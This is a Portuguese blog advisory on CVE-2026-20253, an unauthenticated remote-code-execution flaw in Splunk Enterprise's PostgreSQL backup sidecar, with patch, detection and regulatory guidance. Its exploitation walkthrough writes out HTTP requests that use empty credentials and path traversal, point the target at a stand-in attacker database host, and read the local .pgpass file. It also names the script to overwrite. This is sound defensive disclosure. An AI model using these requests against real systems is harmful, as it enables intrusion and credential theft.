Neste artigo do Blog Dolutech, abordamos uma das vulnerabilidades mais graves de 2026 no ecossistema de monitoramento e segurança corporativa: a CVE-2026-20253, uma falha crítica no Splunk Enterprise com pontuação CVSS de 9.8 que permite execução remota de código completamente sem autenticação. O que torna esta vulnerabilidade ainda mais alarmante é o facto de já estar a ser ativamente explorada na natureza, confirmado pela própria Splunk e pela CISA, que a adicionou ao seu catálogo de Splunk Conhecidas Exploradas (KEV).
Se a sua organização utiliza Splunk Enterprise como plataforma centralizada de logs, SIEM ou monitorização operacional, este artigo é leitura obrigatória.
O Que é o Splunk Enterprise e Por Que Importa
O Splunk Enterprise funciona como o coração de muitas operações de segurança corporativa. Trata-se de uma plataforma centralizada para coleta, indexação, pesquisa e análise de dados gerados por máquinas em toda a infraestrutura de uma organização. Integra logs e eventos provenientes de servidores, aplicações, ambientes de nuvem, dispositivos de rede, ferramentas de segurança e endpoints num único repositório, fornecendo visibilidade em tempo real para equipes de segurança e operações.
É exatamente por isso que um ataque bem-sucedido ao Splunk não compromete apenas uma aplicação: compromete o centro nervoso da defesa da organização. O atacante que controla o Splunk controla os logs, os alertas, as investigações de incidentes e potencialmente as credenciais de dezenas de integrações. Este cenário transforma a CVE-2026-20253 numa ameaça de impacto amplificado.
CVE-2026-20253: A Falha e o Seu Mecanismo
Origem da Vulnerabilidade
A falha reside no serviço sidecar do PostgreSQL presente no Splunk Enterprise. Este componente é responsável por operações de backup e recuperação de base de dados. O problema fundamental: os endpoints deste serviço não implementam qualquer controlo de autenticação (CWE-306, Missing Authentication for Critical Function). Qualquer atacante com acesso de rede ao sistema pode interagir diretamente com estes endpoints sem apresentar credenciais.
Os endpoints expostos são os seguintes:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
/v1/postgres/recovery/status/{id}
Acessíveis através da interface web do Splunk via:
/en-US/splunkd/__raw/v1/postgres/recovery/backup
/en-US/splunkd/__raw/v1/postgres/recovery/restore
A Cadeia de Exploração em 10 Passos
A Resecurity documentou de forma detalhada a cadeia de exploração desta vulnerabilidade, que combina múltiplas fraquezas para escalar de acesso não autenticado até execução completa de código:
Passo 1 – Acesso sem autenticação: O atacante envia um pedido ao endpoint /backup com credenciais vazias ou arbitrárias. O serviço aceita e processa o pedido sem qualquer validação:
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target
Content-Type: application/json
Authorization: Basic Og==
{
"database":"search_metadata",
"backupFile":"test"
}
Passo 2 – Path Traversal: O parâmetro backupFile não é validado, permitindo traversal de directórios para criar ficheiros em locais arbitrários do sistema de ficheiros:
{
"database":"search_metadata",
"backupFile":"../../../../../../tmp/test"
}
Passo 3 – Controlo do servidor PostgreSQL: O parâmetro database aceita sintaxe de connection string do PostgreSQL, forçando o Splunk a conectar-se a um servidor controlado pelo atacante:
{
"database":"hostaddr=attacker-db.example.com dbname=testdb",
"backupFile":"/tmp/backup.dump"
}
Passo 4 – Dump malicioso: O atacante controla totalmente o conteúdo do ficheiro de dump gerado, que é escrito no sistema de ficheiros da vítima.
Passo 5 – Abuso do restore e credenciais locais: O Splunk armazena credenciais PostgreSQL num ficheiro .pgpass. O endpoint de restore pode ser instruído a usar essas credenciais para autenticar contra a instância local:
{
"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass",
"backupFile":"/tmp/backup.dump"
}
Passo 6 – Execução de SQL malicioso durante o restore: Durante a restauração do dump, o PostgreSQL executa os SQL statements contidos no ficheiro. Como o atacante controla o dump, pode injetar objetos maliciosos que escrevem scripts no sistema de ficheiros.
Passo 7 – Execução de código: O script Python alvo é tipicamente:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
Ao sobrescrever este ficheiro com código arbitrário, qualquer execução subsequente pelo Splunk resulta em Remote Code Execution (RCE) com os privilégios da conta de serviço do Splunk.
Versões Afetadas
| Produto | Versões Afetadas | Versão Corrigida |
|---|---|---|
| Splunk Enterprise 10.0 | 10.0.0 a 10.0.6 | 10.0.7 |
| Splunk Enterprise 10.2 | 10.2.0 a 10.2.3 | 10.2.4 |
| Splunk Enterprise 9.4 | 9.4.0 a 9.4.11 | 9.4.12 |
| Splunk Enterprise 9.3 | 9.3.0 a 9.3.12 | 9.3.13 |
| Splunk Cloud Platform 10.4 | Anterior a 10.4.2604.3 | 10.4.2604.3 |
| Splunk Cloud Platform 10.2 | Anterior a 10.2.2510.14 | 10.2.2510.14 |
| Splunk Secure Gateway App | Anterior a 3.10.6 / 3.9.20 / 3.8.67 | 3.10.6, 3.9.20, 3.8.67 |
Vale notar que a exposição por defeito varia conforme o tipo de deployment:
| Tipo de Deployment | Serviço Sidecar PostgreSQL |
|---|---|
| On-premise Windows (instalação manual) | Não instalado por defeito |
| On-premise Windows (com sidecar) | Instalado mas desativado |
| Splunk Enterprise em AWS | Instalado e ativado por defeito |
Isto significa que deployments AWS com versões afetadas estão vulneráveis imediatamente após a instalação.
Vulnerabilidades Adicionais no Mesmo Advisory
A CVE-2026-20253 não veio sozinha. A Splunk divulgou simultaneamente três outras vulnerabilidades de alta severidade no mesmo advisory:
CVE-2026-20251 (CVSS 8.8): Desserialização insegura no Splunk Secure Gateway App via biblioteca Python jsonpickle. Um utilizador com baixo nível de privilégio pode alcançar RCE completo através de dados JSON especialmente criados.
CVE-2026-20258 (CVSS 7.1): Cross-Site Scripting persistente em painéis HTML clássicos, permitindo execução de scripts nos navegadores de utilizadores que visualizem dashboards comprometidos.
CVE-2026-20252 (CVSS 7.6): Server-Side Request Forgery (SSRF) na funcionalidade de exportação PDF do Dashboard Studio, contornando validação de domínios confiáveis por correspondência de prefixo.
Exploração Ativa e Resposta da CISA
O que eleva esta falha a prioridade máxima imediata é a confirmação de exploração ativa em ambiente real. Em 18 de junho de 2026, a Splunk atualizou o seu advisory para reconhecer exploração limitada na natureza. No mesmo dia, a CISA adicionou a CVE-2026-20253 ao seu catálogo KEV (Known Exploited Vulnerabilities).
Este é um marco histórico: trata-se da primeira vulnerabilidade Splunk a integrar o catálogo KEV da CISA. As agências federais civis dos EUA (FCEB) foram obrigadas a implementar mitigações até 21 de junho de 2026.
A firma Resecurity está a monitorar ativamente a exploração e identificou indicadores concretos de comprometimento que as organizações devem procurar.
Impacto Real: O Que Um Atacante Pode Fazer
A gravidade desta vulnerabilidade vai muito além do servidor Splunk em si. Dado o papel central do Splunk nas operações de segurança, um comprometimento bem-sucedido pode resultar em:
Acesso a dados de segurança sensíveis: Logs de incidentes, alertas ativos, registos de autenticação, telemetria de segurança e dados de resposta a incidentes podem ser acedidos, modificados ou exfiltrados.
Manipulação de evidências forenses: Atacantes podem alterar ou eliminar eventos indexados, comprometendo investigações em curso e dificultando a resposta a incidentes.
Persistência e evasão de defesas: Scripts, aplicações e componentes do Splunk podem ser modificados para estabelecer persistência e desativar ou manipular capacidades de deteção.
Movimento lateral: O Splunk tipicamente integra-se com Active Directory, serviços cloud, plataformas de segurança endpoint, bases de dados e infraestrutura de rede. Um servidor Splunk comprometido torna-se um ponto de pivô estratégico para ataques a sistemas internos.
Exposição de credenciais: Tokens de API, credenciais de contas de serviço, chaves de integração e segredos de bases de dados acessíveis ao Splunk ficam expostos.
Como Mitigar: Passos Concretos
Prioridade Máxima: Atualizar Imediatamente
A única mitigação definitiva para a CVE-2026-20253 é a atualização para uma versão corrigida. Não existe workaround para esta vulnerabilidade específica.
Para as outras CVEs do mesmo advisory, onde a atualização imediata não for possível:
- Desativar ou remover a app Splunk Secure Gateway mitiga a CVE-2026-20251 (atenção: afeta funcionalidades Splunk Mobile, Spacebridge e Mission Control).
- Desativar o Splunk Web onde aplicável reduz a superfície de ataque para XSS e SSRF.
Deteção de Exploração
Monitorizar os logs em busca dos seguintes indicadores de comprometimento:
Padrões de pedidos suspeitos:
Requests contendo: ../
Parâmetros PostgreSQL: hostaddr=, dbname=, port=, passfile=
Destinos: /v1/postgres/recovery/backup ou /v1/postgres/recovery/restore
Execução de utilitários de base de dados:
# Monitorizar execuções inesperadas de:
pg_dump
pg_restore
Ficheiros criados em locais incomuns:
# Verificar integridade de scripts críticos:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
Conexões de rede suspeitas:
- Conexões de saída dos serviços Splunk para servidores PostgreSQL desconhecidos
- Criação de ficheiros dump fora dos directórios de backup habituais
Template Nuclei para Deteção
A comunidade de segurança disponibilizou um template Nuclei para deteção automatizada de instâncias Splunk expostas à CVE-2026-20253. O template pode ser encontrado em: https://github.com/0xBlackash/CVE-2026-20253. Este template deve ser utilizado exclusivamente em sistemas próprios ou com autorização explícita.
Hardening Adicional
Além da atualização, implementar as seguintes medidas complementares:
Segmentação de rede: Isolar servidores Splunk de sistemas críticos internos para reduzir o risco de movimento lateral após um eventual comprometimento.
Controlo de acesso à gestão: Restringir o acesso ao Splunk Web, interfaces de gestão e endpoints de recovery a administradores de confiança e redes internas.
Rotação de credenciais: Se houver suspeita de comprometimento, rotacionar imediatamente credenciais PostgreSQL, tokens de API, credenciais de contas de serviço e outros segredos acessíveis ao ambiente Splunk.
Monitorização reforçada: Implementar deteções para criação não autorizada de ficheiros, modificações de ficheiros, execução de processos suspeitos e uso incomum de APIs administrativas.
Contexto Regulatório: RGPD/GDPR, NIS2, DORA e LGPD
A exploração desta vulnerabilidade tem implicações regulatórias diretas para organizações europeias e brasileiras.
Na Europa, sob o RGPD, uma instância Splunk comprometida que resulte em acesso não autorizado a dados pessoais constitui uma violação de dados que obriga a notificação à autoridade competente (em Portugal, a CNPD) no prazo de 72 horas. A NIS2 exige que operadores de serviços essenciais e prestadores de serviços digitais comuniquem incidentes significativos ao CERT-EU e às autoridades nacionais. O DORA (Digital Operational Resilience Act), em vigor desde janeiro de 2025 para entidades financeiras, exige não apenas a comunicação de incidentes TIC mas também que os sistemas críticos como SIEMs sejam auditáveis e resilientes.
No Brasil, a LGPD impõe obrigações semelhantes às do RGPD em matéria de notificação de incidentes à ANPD quando há comprometimento de dados pessoais. O CERT.br e o CTIR Gov emitem alertas que os gestores de segurança devem monitorar. Uma falha num sistema SIEM central como o Splunk que contenha logs com dados pessoais de titulares brasileiros enquadra-se claramente nas obrigações da LGPD.
Em ambas as jurisdições, a falha em aplicar correções disponíveis para vulnerabilidades críticas conhecidas pode ser interpretada pelas autoridades reguladoras como negligência no cumprimento das obrigações de segurança técnica e organizacional.
Conclusão
A CVE-2026-20253 é um exemplo claro de como vulnerabilidades em componentes internos, aparentemente secundários como um serviço sidecar de base de dados, podem transformar-se em vetores de comprometimento total de infraestrutura crítica. A ausência completa de autenticação num endpoint que permite operações arbitrárias no sistema de ficheiros, combinada com a capacidade de forçar conexões a servidores externos e injetar SQL malicioso durante restore, cria uma cadeia de exploração que vai do nada ao controlo total do sistema.
O facto de já estar a ser explorada ativamente e de ter entrado no catálogo KEV da CISA pela primeira vez na história do Splunk deve ser entendido como um sinal de máxima urgência. Aqui na Dolutech, a nossa recomendação é direta: atualizar agora, verificar indicadores de comprometimento e rever toda a postura de segmentação de rede em torno das plataformas Splunk.
O tempo de reação é o diferenciador entre uma vulnerabilidade que passou em branco e um incidente de segurança com impacto real nas operações.
Fontes:
- Orca Security Research Pod: https://orca.security/resources/blog/cve-2026-20253-splunk-enterprise-rce-unauthenticated-file-operations/
- Resecurity: https://www.resecurity.com/blog/article/cve-2026-20253-splunk-enterprise-pre-authentication-remote-code-execution
- SOCRadar: https://socradar.io/blog/cve-2026-20253-cisa-splunk-enterprise-rce/
- Help Net Security: https://www.helpnetsecurity.com/2026/06/19/splunk-vulnerability-cve-2026-20253-exploited/
- The Cyber Express: https://thecyberexpress.com/cve-2026-20253-critical-splunk-enterprise/
Amante por tecnologia Especialista em Cibersegurança e Big Data, Formado em Administração de Infraestrutura de Redes, Pós-Graduado em Ciências de Dados e Big Data Analytics e Machine Learning, Com MBA em Segurança da Informação, Escritor do livro ” Cibersegurança: Protegendo a sua Reputação Digital”.
